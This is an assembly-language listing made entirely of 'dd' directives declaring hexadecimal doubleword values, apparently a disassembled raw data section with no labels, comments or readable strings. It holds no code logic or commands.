		dd 62B93A30h, 0B29EE1BCh, 0B9E9CD00h, 62E14DC5h, 0E3AF097Fh
		dd 0C35DF348h, 9B528C46h, 870A23C4h, 6B981BFFh,	0E1EB5374h
		dd 50D40CC2h, 0B81A2AE0h, 0F41BB82Fh, 1ADEE166h, 92995CD4h
		dd 3355E5D9h, 4085DD17h, 6C3002Dh, 87E2A02Ch, 3CEF5EA7h
		dd 0A50C0933h, 0C5708CD0h, 0F72925CFh, 62252C89h, 929B99EDh
		dd 58E392DEh, 1FA67249h, 7CAFFBD9h, 0E6F7D20Ah,	27581A26h
		dd 0ED713F0Ch, 0B1445252h, 0EF8D181h, 3951BDFCh, 3EF8577Ah
		dd 62BF9AC4h, 9AC35C52h, 0FA42BB7Fh, 714486ABh,	5BC1AA38h
		dd 1F95B700h, 9B77C3FBh, 69620E56h, 0F96BFFD7h,	331CF1CCh
		dd 0DE1372F2h, 542911A6h, 66C5D56Eh, 2208DE18h,	7C18B2F0h
		dd 5EB64DD1h, 9E8B34F2h, 0D6A9966Ah, 148E663h, 0B1D17CE9h
		dd 6383D5EDh, 0DA7AFEDCh, 43D9F497h, 9DE1799Eh,	704BD4C4h
		dd 0DF0EFDE6h, 0AD46851Fh, 0C4B872C2h, 0FD4BAB45h, 0C126ACD2h
		dd 80314133h, 0A22337C6h, 0F357898h, 0E250E84Ch, 1BCF4AA9h
		dd 8D7871EDh, 0E122F28Bh, 0D373847Ch, 569ECADDh, 9473275Fh
		dd 4E25AFB2h, 0F1DB1D35h, 0E5D5E8CBh, 887A9601h, 1C9CE5F7h
		dd 572C4E19h, 48A262B3h, 67B6792Fh, 695E40Ch, 528D77B6h
		dd 9E89B190h, 5183DF42h, 94BBEBCh, 8BC9A39Fh, 4826FCD4h
		dd 0B42D7B72h, 38081559h, 0DC279A50h, 0E87A3976h, 0E45A227Fh
		dd 5FC657C6h, 2AC2E391h, 400B697Ch, 83B16EFAh, 0E2A8729Ch
		dd 7ADFF1D0h, 8125E6CDh, 0FF66EEE5h, 0E21B35E3h, 0C443CCD4h
		dd 4B675C5h, 0AD4EA06Ch, 18F4F74Ah, 49D76CB1h, 0A73ED5DDh
		dd 2528DD0h, 0DE034981h, 869F19BEh, 4B158261h, 55DBD5DAh
		dd 6444D4E0h, 0C49512DFh, 0B5DA8703h, 0E1B5CD30h, 0CA4D7FE0h
		dd 0CEAAF4A7h, 27F02D0Ah, 94BF7712h, 0E230CD3Ah, 3E768D92h
		dd 6332394Dh, 7B3AA742h, 0C1A01CD0h, 3FB89842h,	55F2ABBCh
		dd 43BB516Ah, 1638BDE8h, 0D894106Fh, 0A0B50040h, 0E1760BC2h
		dd 0AB3D43Ch, 6F42DD51h, 708EC8A7h, 0EEF281D0h,	1CF57E8Bh
		dd 5F87A69Eh, 0CC35131Fh, 60D12801h, 0B130BAADh, 757E2129h
		dd 0BA4F5A9Dh, 691D48F7h, 0B8B6224Ch, 570DF523h, 9A3F9FEFh
		dd 0EC6C51CBh, 825F3BBCh, 0D508E3A1h, 2653199Dh, 0C7F97F24h
		dd 46F0ACD2h, 854580B9h, 22DF5F54h, 0C20672EBh,	0D1ED96E8h
		dd 8933300Dh, 0ADE782Dh, 0A4CA19D3h, 1B674CD6h,	2D89A850h
		dd 2490AE53h, 51EE6C8Ch, 6B7D00A3h, 3E3431BFh, 0F95A709Bh
		dd 56BA9B0Eh, 1A8C02BEh, 0A6535303h, 0B9FF2A7Bh, 0EC60E2Dh
		dd 0EE48B391h, 2F15AAFEh, 0E2E2BA6Dh, 50FF9E67h, 39E13FFCh
		dd 702D0D26h, 0D82359BDh, 5D044C6Bh, 7A7EC0A5h,	0E00E4979h
		dd 0FFF39B38h, 2D2C50DDh, 0A271B1A8h, 84FDC687h, 1666795Ah
		dd 1A2F0B4Ah, 0C47B463Fh, 24E5AF85h, 4FF97C08h,	6339C1ECh
		dd 0AF1D0DCCh, 0F9260C9Ah, 0A84FF70Dh, 0C20BF05Ah, 3B74040Ch
		dd 13DD2436h, 0AC709DD9h, 7EC5340Ah, 46E0A887h,	39DA6F46h
		dd 37190ABFh, 0A2828AF3h, 4BD29881h, 2B335B56h,	48519Bh
		dd 371DC274h, 0FA0915B0h, 492FA6E7h, 8D6BA6DBh,	6C089A3Ah
		dd 0E209E9BFh, 62034768h, 1EFCD98Bh, 0E79983DAh, 0B432D87Ch
		dd 0DD7CD65Bh, 74D5DDA8h, 0E55FA0F3h, 16D418Dh,	41005359h
		dd 0A2691741h, 0A98C80CCh, 52474817h, 879BED52h, 5291E284h
		dd 800AD5A2h, 0E8A27AFh, 4210909Ah, 17714D9Bh, 5A8F3877h
		dd 280A9817h, 0B18542E0h, 9AB90220h, 1D8DF90Ah,	0F4A6B4B8h
		dd 32DE8674h, 81A88799h, 86F4271Bh, 57064433h, 4F104B50h
		dd 3A4B8315h, 25CBEEE6h, 95D3778Dh, 0BEDCCA23h,	9DA87435h
		dd 0D2E39D7Ch, 0CA43B3Fh, 0DDFE561Ah, 0B6B08AFDh, 198E8952h
		dd 71905755h, 0D877D315h, 0BC39C408h, 0D68FFDCFh, 7CE6D7E2h
		dd 16B2D20h, 6D46D781h,	58F89504h, 6759BB08h, 21DD27EAh
		dd 2B2802C2h, 9742C9EFh, 20F6D04Bh, 0FE85F5ABh,	2BA8606Bh
		dd 0A7F4415Bh, 0E652A119h, 0A8CD24E7h, 44042B6Dh, 240E1CE6h
		dd 0BC20AFFAh, 0C8FEF8DFh, 0EE688F6Eh, 2514A6CDh, 69B9A926h
		dd 0E552A554h, 0C2D8C426h, 54700C22h, 56493ACAh, 467CF05Fh
		dd 62B67193h, 0F605A1C3h, 88493B91h, 388F3B7Bh,	8B5F4E6h
		dd 1B95B7C2h, 3AFC781Ah, 1367CA87h, 66A0815Fh, 497B6865h
		dd 7682F9A6h, 319B7D0Eh, 91F58E8Bh, 8C03BD44h, 83271CECh
		dd 25B65999h, 98A56ECCh
		dd 78BD6D6Dh, 2F537404h, 3BCF8FA2h, 0CEB34DB4h,	2F74A0D3h
		dd 0D73421EFh, 90F79A0Dh, 0C587E2E2h, 1844531Dh, 8D8B8B81h
		dd 877DC0ACh, 0E7B54846h, 0D3364101h, 3C9BC930h, 0ADF6B4F5h
		dd 0D3F4B89Dh, 774FC4C8h, 0C294632Fh, 0ED19C075h, 0B0BBAC3Eh
		dd 0FEB06193h, 436023BDh, 2C52E7B7h, 0F4B21D0Dh, 3692B993h
		dd 84B8AB4Ah, 2C9617AAh, 82FB8EB3h, 29F8B3A5h, 3A0DC729h
		dd 81B9BF96h, 7711A70Bh, 9AFD2215h, 99AB670Fh, 829EDFF2h
		dd 23993F7Eh, 68255D7h,	0CEFAD5A2h, 7CF5E478h, 6369FF40h
		dd 2979C0Dh, 0E8F14C09h, 0B1F43A80h, 0EBB223A8h, 0ABD53C2Ah
		dd 5776B302h, 670977F4h, 328644BDh, 5530ADDFh, 0D5C974F7h
		dd 0B56BB7B0h, 0D991AC5Eh, 0B2DE3A02h, 9C6313Ch, 575B1039h
		dd 15349ED8h, 0AFBAD5B1h, 0DDBA56DDh, 8617BBF7h, 2FD06566h
		dd 186FF882h, 98B9CC05h, 0D9768525h, 4505378Ch,	4B0986F6h
		dd 48325348h, 0B88E11ADh, 0F115C612h, 0D4CDE11Bh, 60FBE91Dh
		dd 9FBB18DBh, 0FC2709BFh, 0E985FDDh, 0BCF577F9h, 8ACD40D9h
		dd 27A30410h, 0F67BB903h, 0EFA56819h, 9BF05922h, 44217CB1h
		dd 0CC2B560Dh, 0FC75DDC1h, 1C90D59Eh, 1E123934h, 0CDD62B4Eh
		dd 3F9E0464h, 666A18DAh, 0D453E98Ch, 3F520E32h,	0ABCBE643h
		dd 0C0B5FE70h, 2FAAA385h, 1E041D57h, 0AEB35141h, 0BFFD9D61h
		dd 7E19522Ch, 3249100Fh, 6A8C559h, 0E55A97C4h, 69795173h
		dd 0FB5D4D40h, 0A4496867h, 9794CFC0h, 4747048Ch, 7ECE6046h
		dd 0A2E10B56h, 41D8ECF4h, 91C1F4D7h, 2DED27C4h,	984F426Fh
		dd 4EEDEE3Fh, 99ABF91Bh, 9FDEFAB8h, 663F76EFh, 0E4B1F88Bh
		dd 6EF9F0A0h, 2EC89E23h, 92153DFDh, 3673131Ah, 0FE964EFFh
		dd 0E2CDFB75h, 2ED29048h, 73597DBDh, 0E108F84Eh, 0AB6E7593h
		dd 0CA4932C5h, 0BEF14137h, 66906F16h, 75A37FB7h, 0D3C7F32Dh
		dd 6CAAC37Bh, 0AFBE14DAh, 0E098EF8Fh, 76FED277h, 4DEA89A8h
		dd 157A340Fh, 3E310E5Eh, 4CEA68A7h, 8A55409Dh, 9168FAF5h
		dd 7C4B3F93h, 1E25D51Bh, 126F113h, 913D0392h, 148F670Eh
		dd 0F226F594h, 0D258211Ch, 0EF07BADEh, 1A08F7CCh, 0C8B6070h
		dd 698CFE09h, 60817F4Fh, 0B6DE313Dh, 3A4EBD4Eh,	0A9C1404Dh
		dd 134B8348h, 2ECE7D57h, 0B8CD05C6h, 0FDD6156Bh, 0B95C2765h
		dd 0FC2586E3h, 9829CD7Ah, 0DADA11Ah, 0A24C6FF9h, 1E9BA48Bh
		dd 95784E9h, 3BA9EB85h,	902BC24h, 0DBFAB5DCh, 0B1335D26h
		dd 98354121h, 8E353568h, 7D79E7C5h, 79DF30D3h, 95E0FA9Eh
		dd 17D81802h, 38615031h, 4A79EF29h, 0FF3E6D2Ah,	0C4C3CCC1h
		dd 121AC7DCh, 0C3D7C389h, 215AD380h, 0D8D0D588h, 6CC36A54h
		dd 0F65154CBh, 0BE0231h, 0DDF47DBh, 838A171Ah, 0F1E1D55Ah
		dd 70523A04h, 7962EDAFh, 0E44DE718h, 7BD71E6Fh,	0D0D28B24h
		dd 0A87B49BAh, 540F3EE8h, 123E27CFh, 0A85032B0h, 0D5B46501h
		dd 2CBD9C25h, 767B1E98h, 0B967195Ah, 954A3838h,	98E72D0Eh
		dd 0B6DE28ABh, 878011B4h, 1118CBDh, 22C2F4CBh, 0C2760CB2h
		dd 0CB485E9Bh, 9ED5ACBEh, 0B6CC731Bh, 0F321657Ah, 61504248h
		dd 49AB7C9Ch, 7054ACC0h, 1CA05C06h, 3747243h, 0B8841F2Eh
		dd 0F63B360h, 0B15F79F7h, 0D29A73A5h, 12A49DAEh, 57DA9D16h
		dd 710F8CF5h, 4F669CDBh, 0F19BA151h, 0B6EC12BFh, 42355317h
		dd 7C296300h, 9F537A66h, 336DA527h, 30EF0BE4h, 53C2C1EBh
		dd 946F6748h, 6A01513h,	8E6893D3h, 46C8AC23h, 0AED39B3Bh
		dd 0CA87CF9Ch, 0B60DF684h, 9827F02Ch, 837D5C18h, 9F89323Bh
		dd 1B6A4EB4h, 0D7C53A7Ch, 0B867D58Ch, 9509A76Ch, 0B9023C80h
		dd 457E58A2h, 655EBD07h, 1EF1FA1Bh, 0E80804E2h,	26E0D3CCh
		dd 0C6DA1D66h, 0FD8FC77Ah, 83862EB9h, 13823A24h, 0BA124C9Fh
		dd 69D6156Ah, 0C78DABAFh, 0F8A58AA2h, 5308B0D0h, 0A995B205h
		dd 0C71A3F5h, 0E1667053h, 52DB2909h, 0BA27BF6h,	9BF35572h
		dd 9F68868Ch, 0AA1B4DBFh, 0F3A24FB3h, 0A2DB22A7h, 0FAF35188h
		dd 0B1262B19h, 0F9FB3B68h, 23A3F4AFh, 0BE52F9AAh, 67D1E4C1h
		dd 3E2C8A6Dh, 0D1C9A36Bh, 1F080822h, 57ABEDA6h,	0F65A96FCh
		dd 98FF43D4h, 3E2694F9h, 2377B450h, 7F2D335Bh, 0E48F1362h
		dd 0D8DBF07Dh, 0B76A6E79h, 0C17CDF32h, 277E9E68h, 0BE1380C9h
		dd 0D8D55193h, 80B9B90Eh, 356D74C5h, 0DD76E8FEh, 0D737AD01h
		dd 4175DFF2h, 385126AFh, 9C38D2E1h, 513191FCh, 3736C9E0h
		dd 0C10C00D4h, 30608B7Bh, 0CEEC1433h, 0AE390EFCh, 0AA589953h
		dd 7665157Ah, 0E60D9CB0h, 998E0F18h, 2A75F5FEh,	9F8FFEF5h
		dd 640EAAB7h, 68A3D198h, 8D0BC9ADh, 246B87B8h, 18F4898Bh
		dd 92ACBBBAh, 57D55339h, 0CE1C1B02h, 0CF562512h, 0AE5D237Ch
		dd 1E6B9409h, 1E8491C1h, 9FE76866h, 0A5DB39Eh, 27E3A5CBh
		dd 0B7D87BBBh, 5F8B2507h, 0FFD1683Ah, 88472308h, 3271CE29h
		dd 802C8D9Eh, 8BD509D0h, 0A1A12F49h, 5C9BFFA7h,	0BE47FFB6h
		dd 0B97B78F3h, 218C039Bh, 0D9294E48h, 0BEE1A7EFh, 7261449Dh
		dd 4620097Fh, 3493B270h, 0B3E678E9h, 0EBE1B28Ch, 0F4C244E6h
		dd 0E101581Ch, 594E7226h, 0C3609037h, 71C25E0Ch, 0DE11E3D3h
		dd 0D98E7608h, 48FBDA4Ah, 4489AE0Eh, 0B361BAF3h, 143E4411h
		dd 0D69F2317h, 0BB918429h, 5EA358Eh, 0BC81F4B1h, 83A8A5AEh
		dd 3BFA4CCAh, 4C647F8Fh, 0EC96C195h, 71A09650h,	93F8CBB6h
		dd 0A7D36175h, 5B2BD2A9h, 644B9489h, 0F3644C7Bh, 0FC2E8D42h
		dd 0E9C8A418h, 86C3247Dh, 51AFBA3Eh, 3D9F514Eh,	58375B7Eh
		dd 0B9E158EAh, 3F3A6ADEh, 721ABCBEh, 1523849Dh,	0D987FEE7h
		dd 1F734BFBh, 39A7575Dh, 0CE48A5F1h, 0BAFEC11Bh, 1520CAEAh
		dd 69755736h, 656E3DC7h, 0A5A9B0DEh, 82728D8Eh,	0E2D76E36h
		dd 1FF5DC0Eh, 0A71E1A1Ch, 14049EA1h, 0A4E70EB8h, 8AF9CA4Dh
		dd 56248897h, 87BB6D11h, 4EC484B7h, 0CEFB1BACh,	0FA93CA40h
		dd 0EEF65015h, 8495BF2Bh, 0DB0E8FAFh, 8B60B1B0h, 802996E6h
		dd 11363C03h, 97FA2843h, 0D8AF2E12h, 5A07B23Dh,	722AE1A2h
		dd 2C5B1DC3h, 1375D07Fh, 19E1B28Fh, 6091D89Dh, 80716CFBh
		dd 0F3176A59h, 9CA6F324h, 724C777Dh, 126C337Ch,	150901C0h
		dd 0D53A1036h, 0A4982EA6h, 920130EAh, 0E36E907Bh, 0F467E965h
		dd 99907E11h, 0BB1DDE35h, 7318F644h, 0C5BFE548h, 0BBB75790h
		dd 54E4934Fh, 0B1869865h, 2E974866h, 0D1B9EF0Fh, 985431D9h
		dd 0B3F75460h, 0BD276442h, 2B87F0E4h, 4AD21502h, 516EEF11h
		dd 0F4055300h, 2779C533h, 40BA52D2h, 76C6D790h,	0FBFDD12h
		dd 2AD16D07h, 0CA961E76h, 0E26F5C16h, 7AB323C6h, 83C033DEh
		dd 48F32834h, 88933414h, 0F00B72D0h, 62713B68h,	57A8CF0Bh
		dd 1C227E86h, 3C96B83h,	1FA4EFFCh, 0AF8138EEh, 3B7B9BAFh
		dd 0C7D1C5ACh, 7A324FD8h, 51082BDEh, 42143206h,	0EE367CB3h
		dd 5D819823h, 383A484Dh, 5F377C15h, 673CE2B5h, 0FB314DF5h
		dd 9A168EC0h, 0EFCE0E36h, 6F3F2CCFh, 9F38E7A6h,	0CDB0BE8h
		dd 439E614Fh, 79BE2172h, 65D631D0h, 2C0179EEh, 69C38740h
		dd 0C3F4EB24h, 0A8788806h, 17A153B3h, 0DB4AFFDDh, 0C4E6701Bh
		dd 0E32E0EDDh, 64E12493h, 0A8ECF36h, 0D8A237D3h, 0F88CE5DEh
		dd 512DD348h, 4E5778D1h, 9CB6E0F6h, 81C1E197h, 0E7C75012h
		dd 168E7C9Ah, 2EFD30A7h, 65FB59BEh, 6EB573F3h, 82B7E6FBh
		dd 0F4526452h, 0DC6F2972h, 663932Ah, 9DDCA227h,	0DA858B24h
		dd 8F51077Bh, 0DF0E507h
		dd 358FF92Ch, 4D133FF3h, 3706AF5Fh, 0A3AB0D33h,	7515251h
		dd 0CBA772BEh, 0A951E50Bh, 0E3BD3825h, 0C7AF8EE0h, 0B4973693h
		dd 59B78B93h, 97288890h, 700B63F9h, 75BB87E8h, 0CB293361h
		dd 8E102CF3h, 5C0E9F82h, 0D8D43D99h, 712E1DC2h,	7F4E64F5h
		dd 0A16FD7FFh, 56677F5Ch, 93AD8115h, 32850F53h,	0F46DB92Dh
		dd 3E5D9763h, 0B17E4D9Ah, 5CE7DED6h, 4C27FDD7h,	0A6553598h
		dd 0C874E483h, 0D7E30728h, 0DD4DB42Ah, 0BD71C5E5h, 4321A1F4h
		dd 0BE174F94h, 752D3BE3h, 0AFE909E8h, 0B4470DC8h, 21E8C64Dh
		dd 1F821508h, 0E0F1EBBDh, 0E89D1EF2h, 258604E3h, 0F7D35F6Bh
		dd 0FFA9E20Eh, 60D43019h, 0B1017FFFh, 0C34E91EFh, 7442B134h
		dd 52C5FF23h, 4AC05143h, 0F77A5B0Ah, 7DE8F3BDh,	27D8D8A4h
		dd 0A99700C5h, 0B43F42E5h, 8CEFD857h, 6BDEDF36h, 8B8553Dh
		dd 10097E0h, 5FE0EACFh,	27393D40h, 0B0C46B8Fh, 367EE09Ah
		dd 4CB477F9h, 0F207B63Eh, 9A03C2AFh, 0B8833915h, 0F23A6131h
		dd 0E1BFC4C2h, 51CA06DEh, 0B0619E84h, 0C336C281h, 1EB5E889h
		dd 342D20DEh, 0D673C329h, 9635874Fh, 0B92D6EB0h, 3EF0E338h
		dd 76E302B6h, 19B02D3h,	3FCF6532h, 0C7E85083h, 0BBE7CCBFh
		dd 0A2A2A456h, 86DD3E01h, 5EA08299h, 0E04CE8A2h, 932E5E43h
		dd 9351E031h, 0C1419511h, 23FC3FE5h, 0AFBA6CEEh, 1EE10E7Ah
		dd 0A2E18F12h, 3C41CC39h, 0E5085A0Bh, 84D2B734h, 4E83BD37h
		dd 7AF82C3Ch, 0F895CE75h, 39238030h, 0BF30FD00h, 20A7E513h
		dd 0F0845B3h, 6980A2A4h, 0D26D067h, 99F84E8Dh, 0ACBAF951h
		dd 365F7436h, 0A4929BC0h, 54D81E8Fh, 0AABE16B4h, 0CD4C8499h
		dd 0C7235860h, 9D2F0B12h, 0FAF86106h, 9928F7E6h, 42C8559h
		dd 22B7EA12h, 0D1BFBE7Fh, 7E45730Dh, 0A8FC6517h, 9FE0EFFh
		dd 0C9882C5Dh, 613B4FC2h, 9D497E1Dh, 0FF7C25A3h, 0A2398C78h
		dd 71837919h, 5B30BBDCh, 0FF12DA3Ch, 3A50312Dh,	6A62EE55h
		dd 9BBFAF9Eh, 2EDD231Ah, 0EED92C3Dh, 8B3CA61Ch,	0CBF47BF0h
		dd 547164C8h, 6E1365F7h, 1F549ECDh, 0CF149819h,	22A211AEh
		dd 6EAFC737h, 864502C0h, 0E11F805Dh, 0B3A3D1F9h, 0C1229AF0h
		dd 0D0A28127h, 969959CBh, 0C42CB4F5h, 0D2062685h, 1F9DDB54h
		dd 0F41CDF78h, 31751602h, 7093CF94h, 13D5D732h,	563B97ABh
		dd 0A9C81A5Fh, 34D0DEDBh, 159C6F5Ah, 8AD55527h,	40395280h
		dd 0E5F72DB1h, 926619BCh, 69C1FCEEh, 49773D6Ah,	1C6D0532h
		dd 0C66BD9F0h, 0EEF050B2h, 0C199EAADh, 2D64B76Fh, 0B5C0AE6Bh
		dd 97531FA6h, 4D306F9Ah, 5024C05Eh, 482E0F07h, 0C1138582h
		dd 0B00FCCB7h, 1774CEEh, 0DD0D05Bh, 42BD6C89h, 4DB4F5C6h
		dd 179619A6h, 0B97F2727h, 6696D32Fh, 22121A0Dh,	24BF0935h
		dd 13B83ECFh, 0C4378714h, 0EF63D01Fh, 77B6DD46h, 0B3E8F618h
		dd 0A8615169h, 287C827Ah, 4737610Ah, 0A25F82C1h, 67260D89h
		dd 0A1E5BE8Dh, 12D7A6E4h, 3C73D333h, 522535A6h,	9B6FC7F4h
		dd 0AF4D0AF1h, 0F6053EB6h, 6436E3B4h, 5C1B9FDBh, 5B18B79Dh
		dd 0F2AEC882h, 0D527ADACh, 2553A25Fh, 0DEF45B32h, 95C52A92h
		dd 0E59088ACh, 4E5FC5F5h, 1083760Ah, 0F7F882E9h, 0AEAE2BB9h
		dd 0A40F7562h, 8A30701Bh, 4BF66270h, 23E9E324h,	2E132827h
		dd 0CA2FBE74h, 30C4942Bh, 3338EEDBh, 22CE157Eh,	2B40E207h
		dd 4E5A78EBh, 0E33193F3h, 1EAAB20h, 95450FC7h, 99B5D6BAh
		dd 0A090E904h, 86C8F22Eh, 789D0BDh, 6FD90395h, 0E10A73FBh
		dd 5C5DD6F7h, 9A8BEC6Eh, 0D13C15F7h, 0DE14C7EBh, 0A8190169h
		dd 2A68C6C1h, 0B01593A2h, 8221EAF8h, 48CA209Ch,	8B8D9534h
		dd 8479159Ch, 0AF7121B5h, 3846695Fh, 0BAEDA397h, 0F895F5E0h
		dd 7027D3C7h, 2CD65F69h, 599FEE8Ch, 0F93A96F2h,	0C9ED6E33h
		dd 0D9A0747Ch, 5CBCAF1Eh, 3679527Eh, 0B2283AFBh, 84CE348Eh
		dd 0AAC14F4Ah, 700BED2Fh, 0B3F1AF2Bh, 0B325F6D9h, 48AF48ABh
		dd 0D486264Bh, 0C955166Fh, 4214C8C3h, 0A9611103h, 0E85BF9Fh
		dd 0AEA7127Bh, 974FDA65h, 6915548Ah, 0A90EF910h, 1DCF9767h
		dd 0BB3836D0h, 519BFD63h, 44A26CF9h, 0A6EEA0F8h, 155DB04Fh
		dd 0DA507E33h, 0E50FE972h, 38616A52h, 154A61D2h, 42AD922Fh
		dd 5580F6BCh, 22927322h, 3FC52FF4h, 0CA24B2F0h,	34A7E47Ch
		dd 9BF60878h, 0EF8FB63Eh, 11741D38h, 0B39DD13h,	7DFE215h
		dd 0CD2F2104h, 7232DFC2h, 85676685h, 34879306h,	185BFFF6h
		dd 73E977BCh, 0E7EB4A47h, 0C21F9347h, 26036CD1h, 4D84CA28h
		dd 0E1978C43h, 0FA687846h, 15E68D16h, 0CC6937C9h, 2D84961h
		dd 53A01D26h, 0EAE472B3h, 1DFE0C7h, 3D722B9h, 57664529h
		dd 152A15DCh, 24E9AFF5h, 6D58AEAFh, 1E53CB4Ch, 0A658C826h
		dd 0A53DE165h, 0BA3D5EA9h, 42EB0AEEh, 0F80929BBh, 0AA745D09h
		dd 7D8BACBh, 0F2C7E091h, 9BFB8CAFh, 56EB1236h, 0CE0BE8B2h
		dd 0D1DB75F6h, 6F9DA934h, 59B48CB2h, 0D1080718h, 0FDD9281Ch
		dd 92580B2Eh, 0E59D7153h, 0B226C9A8h, 52B1CBDCh, 1553075Bh
		dd 0E85D1BBCh, 581782B2h, 0A29E9EB2h, 268507F5h, 0AF3CB0Dh
		dd 1D1200F8h, 66297B12h, 7870678Bh, 505E583Ah, 77CF28EFh
		dd 126BB21Ah, 0BFDEA08Fh, 0B5FF8BB5h, 56F9A165h, 6D7852C5h
		dd 0C024103Bh, 0D1DA7FEEh, 0BA15AA0Ch, 79046DAAh, 1BFD1C14h
		dd 0E6FD0BDFh, 0BB341E8h, 18FB300Dh, 364ECF7Ch,	0AB4FB1E5h
		dd 0CA8F3FFDh, 53E12215h, 5C02E68Ah, 46D5A69Bh,	4E4D2B01h
		dd 1268B723h, 0EB7CE09Fh, 2B1F1A4Dh, 0AC9534A1h, 2770584Ah
		dd 5743E9h, 701601Ch, 0D0197341h, 77B76153h, 0D65A65Ch
		dd 74434463h, 3FD3C678h, 9D6C22D0h, 19488BF6h, 84719747h
		dd 9AAD8A4Fh, 352E33C9h, 0F2DAF247h, 0C76F3288h, 543BF635h
		dd 9FC9DE39h, 44E66DDDh, 5999C9F5h, 7F5AF4A4h, 2B6256CBh
		dd 145083F9h, 589D347Bh, 3BA332BFh, 2B131CC1h, 12156AC2h
		dd 3D07F183h, 7A648B82h, 3559DD8Fh, 0FD8C951Eh,	92B38C34h
		dd 0F9596D8Ah, 0EE664B9h, 0CE424AD9h, 3E961629h, 97FD970Dh
		dd 62995831h, 0E44F337Bh, 0B3970A95h, 9A0961A8h, 72E4AD29h
		dd 0F3B2C88Ch, 9BCCB5E0h, 4E0143C5h, 482804E4h,	8CE573Dh
		dd 0CAD20B30h, 1FF42AF5h, 88B247DBh, 0DB900E5Dh, 70E50597h
		dd 0FEBCF15h, 3408B2ECh, 176466A0h, 7F54CAB7h, 97608AC4h
		dd 0F4769AE7h, 4484CD04h, 89DDC808h, 13A6C741h,	572CB960h
		dd 8B6B6AA3h, 6722CD9Bh, 853F6F14h, 4EB6AD81h, 830EC9F9h
		dd 0B8B5F948h, 92E15F63h, 0AE2D473Ch, 0B04012A1h, 8A2A0EEFh
		dd 0DE11B598h, 0EF03EBh, 2E5E2C8Fh, 912BCF84h, 124B59C5h
		dd 55F5EE36h, 6C7E618Ah, 962FEAEAh, 8DDAEC1h, 0EBCAEAACh
		dd 0BBB0961Bh, 5BC1325Fh, 74580849h, 7FCCBE4Ah,	5A8FD7C5h
		dd 4B387582h, 7130B398h, 999E51B5h, 0C682A050h,	1C37E36Eh
		dd 6EE107BCh, 56BA9681h, 0C0F77780h, 0E6B77012h, 3C468271h
		dd 0E723B73Fh, 0CF690724h, 0CC1E4DC5h, 1FEFD02Dh, 0F8501985h
		dd 55B9F2D2h, 0BA020E04h, 948D7D7h, 0EA6D131Ch,	86BEBC9Eh
		dd 356E3DD0h, 3EB355F6h, 0F1343523h, 13821CB1h,	4A8BB192h
		dd 2278AE10h, 4A2631FCh, 5CA46E2Bh, 960C6E3Ch, 0B7C0812Bh
		dd 69ACCF8Ch, 40E32749h, 0C6FBA87Eh, 49BDBAA4h,	5C36B9B1h
		dd 0C8B8A8Dh, 0FE9DA11h, 1CB7DBD4h, 1F5D00EEh, 0E1B9DD21h
		dd 2B024B90h, 27DC6002h, 0A7FF7B14h, 45875CF2h,	703B35C0h
		dd 0EEBBA670h, 1465A873h
		dd 0BFE80B4h, 1D7E1635h, 0DD4E2381h, 0A11CBD02h, 0B21C1F4Fh
		dd 5D574250h, 0E1CC031Bh, 858B476Eh, 577679FBh,	0C514856Dh
		dd 0ABAD52C9h, 79F8EDFDh, 15295155h, 1F2B4B1Ah,	0AEFCFA5h
		dd 12385F94h, 0FE40C7BBh, 0E6C2DE25h, 0CEB1EB08h, 0AC12C3B4h
		dd 18EB2E62h, 0B8187D3h, 0D14B5343h, 0F8E9B5AAh, 7F4A6A8Ch
		dd 4FD2280Eh, 805BCC9Dh, 6214DFCBh, 2E857E8Bh, 3D6EE5E1h
		dd 930936F1h, 0EF0E4E42h, 9820DFA7h, 0F624B440h, 2D691CB2h
		dd 0E6509116h, 0DDDEE6CBh, 1766C52Ah, 4ECE4B38h, 874EFD0Dh
		dd 67E3A57Eh, 0DC42D55Ch, 0AD81CE12h, 0DFF7E298h, 145807ADh
		dd 0A17DF4C7h, 10A8B68Fh, 0AE7E9897h, 0E1B7ECEBh, 0F0BDB166h
		dd 2BA3C01Ch, 0ABE6FB5Fh, 773396D1h, 8B015FC9h,	6561FBF6h
		dd 68C5260h, 43F8BBFAh,	1A1ABBE9h, 892ACCD4h, 0EABAC1BCh
		dd 0DB6378D0h, 3CF35F2Dh, 9BAF19A9h, 0CA46556Fh, 0D11D5C15h
		dd 0DF83FD9Bh, 0CE8ECC6Fh, 8E09A85h, 9C7A17B2h,	2957D39Dh
		dd 9C0F00B3h, 74C9DDF0h, 35CBBCF4h, 0FE878336h,	989C41B7h
		dd 6CB861D9h, 0D82E35E2h, 929597CEh, 0B802A4F3h, 6F57896Dh
		dd 0FEEE8E3Fh, 0E01DF9Fh, 0FF9FAD56h, 67925ECh,	527616C3h
		dd 0BD3FEC16h, 0C37EBB2Bh, 0A48B5C0Eh, 675DFF5Ch, 0EEF7EBD9h
		dd 0CD1E8F27h, 0CC36AB0Dh, 4A13C4ECh, 0D9265F52h, 184B4CF9h
		dd 0D7792DFCh, 0DF5F8417h, 624737A9h, 80D0EB20h, 406A6A90h
		dd 0E5F148E2h, 0CFB47C45h, 0D912E7BFh, 0AEFF197Bh, 31011B85h
		dd 0EC4441AFh, 0EB3DD192h, 3F62CFD9h, 0A022BE4Fh, 6B2AF1EDh
		dd 3A7C8B62h, 6A7C1C66h, 7949A086h, 8B08461Dh, 0CF05B05Ch
		dd 67B8A8D1h, 28CA0412h, 3AF2E2DBh, 0CA003F17h,	0F0A1C763h
		dd 1DDCA219h, 0FC8790CDh, 0F00CF610h, 1B7EBD4Bh, 0E97DB67Ch
		dd 0AC3F5613h, 4EDBC47Eh, 0DB3E9E27h, 7165BC96h, 1F4C9BB5h
		dd 187192B0h, 1AF9FA21h, 73445808h, 0B2A7D99Fh,	0CDAAD5ADh
		dd 11A5FB9Fh, 1FB374C2h, 7F40EECh, 3620D7EEh, 61168553h
		dd 0C2190C4h, 39C51ED5h, 4DE95D7Bh, 43658872h, 0F19C4E70h
		dd 0A21F42F3h, 546AC371h, 0AA8B6FE4h, 15F5AEC4h, 8D2F4690h
		dd 3D5636Eh, 0CA6D7D17h, 7CDD12Ch, 6CB18EAh, 0B88ED719h
		dd 609A7966h, 669A965h,	0B06C8DD3h, 5946B5D6h, 79D90CE9h
		dd 693142CFh, 0C3FFA34Ah, 2B6687C4h, 80907CE1h,	8F3ABE0h
		dd 65D0A191h, 0A8EF9A12h, 5662CF00h, 0BA705292h, 9034C44Ch
		dd 8247C423h, 1362EB0Eh, 0F74945FBh, 7B66B1F1h,	0C3084C9h
		dd 838F51CBh, 0D1C79BD4h, 24B85CBDh, 5D38E9DEh,	0FCAE2D0Ch
